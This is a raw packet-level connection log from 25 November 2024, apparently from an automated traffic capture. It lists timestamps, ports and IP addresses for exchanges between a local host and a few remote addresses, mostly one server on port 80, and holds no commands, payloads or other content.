Nov 25, 2024 12:09:01.990263939 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:01.990586996 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.990622044 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:01.990643978 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.990755081 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.991615057 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.991677999 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.991704941 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.991751909 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.992486954 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.992574930 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.992592096 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.993473053 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.993534088 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.993561983 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.993607998 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.994582891 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.994641066 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.994739056 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.994787931 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.995412111 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.995461941 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.995528936 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.995575905 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.996371984 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.996434927 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.996489048 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.997334003 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.997394085 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.997438908 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.997503996 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.998303890 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.998362064 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.998406887 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.998462915 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.998822927 CET	443	49832	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:01.999264956 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.999388933 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.999507904 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.000282049 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.000334978 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.000348091 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.000380993 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.001233101 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.001323938 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.001384020 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.002213001 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.002269983 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.002388954 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.002438068 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.003269911 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.003328085 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.003348112 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.003408909 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.004126072 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.004211903 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.004229069 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.004272938 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.005090952 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.005147934 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.005187988 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.005234003 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.006079912 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.006138086 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.006194115 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.006247997 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.006972075 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.007028103 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.017151117 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:02.017292023 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:02.017599106 CET	49774	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:02.021447897 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.021460056 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.021950960 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.022057056 CET	49832	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.022099018 CET	443	49832	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.022905111 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.022979975 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.023297071 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.023344040 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.023371935 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.023576975 CET	443	49832	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.025093079 CET	49832	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.025284052 CET	443	49832	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.025476933 CET	49832	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.025557041 CET	49832	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.025670052 CET	443	49832	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.026339054 CET	443	49777	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:02.026395082 CET	443	49777	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:02.026506901 CET	49777	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:02.136308908 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.136353970 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.136380911 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.136414051 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.136535883 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.136583090 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.136857033 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.136986017 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.137600899 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.137653112 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.137696028 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.137744904 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.138333082 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.138392925 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.138442039 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.138494015 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.139238119 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.139332056 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.139446020 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.139493942 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.140084982 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.140134096 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.140244961 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.140325069 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.141113043 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.141163111 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.141288042 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.141350031 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.142126083 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.142173052 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.142214060 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.142258883 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.142849922 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.142903090 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.142937899 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.142980099 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.143604994 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.143661022 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.143682003 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.143722057 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.144484997 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.144535065 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.144613028 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.144666910 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.145411968 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.145490885 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.145541906 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.146239996 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.146289110 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.146384954 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.146456003 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.147217035 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.147267103 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.147340059 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.147382975 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.148102999 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.148204088 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.148211956 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.148246050 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.148869038 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.148915052 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.148977041 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.149023056 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.149791956 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.149836063 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.149913073 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.149957895 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.150719881 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.150768042 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.150808096 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.150890112 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.151540041 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.151587009 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.151618004 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.151659012 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.152477026 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.152518988 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.152909040 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.152955055 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.153342009 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.153386116 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.153470993 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.153517008 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.154336929 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.154382944 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.154459953 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.154506922 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.155070066 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.155112028 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.155278921 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.155328035 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.155988932 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.156037092 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.156095982 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.156132936 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.156858921 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.156900883 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.156944036 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.156994104 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.157715082 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.157761097 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.157793045 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.157835007 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.158615112 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.158729076 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.158957005 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.159013987 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.159501076 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.159543991 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.159750938 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.159816027 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.160377026 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.160425901 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.160492897 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.160537958 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.161246061 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.161292076 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.161341906 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.161421061 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.162154913 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.162209988 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.162255049 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.162301064 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.163045883 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.163088083 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.163260937 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.163310051 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.164026976 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.164092064 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.164133072 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.164175987 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.164807081 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.164851904 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.164870024 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.164912939 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.165648937 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.165693045 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.165832043 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.165874958 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.166748047 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.166795969 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.166928053 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.167000055 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.167659044 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.167701960 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.167731047 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.167768955 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.168289900 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.168337107 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.168678045 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.168723106 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.169615030 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.169661045 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.169692993 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.169734955 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.170195103 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.170244932 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.170315981 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.170440912 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.171164989 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.171205997 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.171226978 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.171272039 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.171799898 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.171905994 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.171943903 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.171986103 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.172738075 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.172786951 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.172836065 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.172868013 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.173722029 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.173764944 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.173831940 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.173899889 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.174686909 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.174737930 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.174818993 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.174864054 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.175676107 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.175725937 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.175769091 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.175812960 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.176523924 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.176635981 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.176649094 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.176831961 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.177473068 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.177587986 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.177613974 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.177625895 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.178296089 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.178349018 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.178391933 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.178441048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.179039955 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.179086924 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.179143906 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.179184914 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.180114031 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.180155039 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.180324078 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.180371046 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.180999994 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.181066036 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.181148052 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.181193113 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.181840897 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.181864977 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.181890965 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.181921005 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.182544947 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.182591915 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.338597059 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.338689089 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.338733912 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.338752985 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.338915110 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.338951111 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.339000940 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.339039087 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.339785099 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.339883089 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.339922905 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.340629101 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.340672016 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.340744019 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.340845108 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.341522932 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.341572046 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.341628075 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.341661930 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.342413902 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.342482090 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.342511892 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.342546940 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.343291998 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.343410015 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.343455076 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.344150066 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.344202042 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.344209909 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.344257116 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.345052958 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.345099926 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.345160007 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.345254898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.345911980 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.346035957 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.346084118 CET	49830	80	192.168.2.8	185.215.113.16
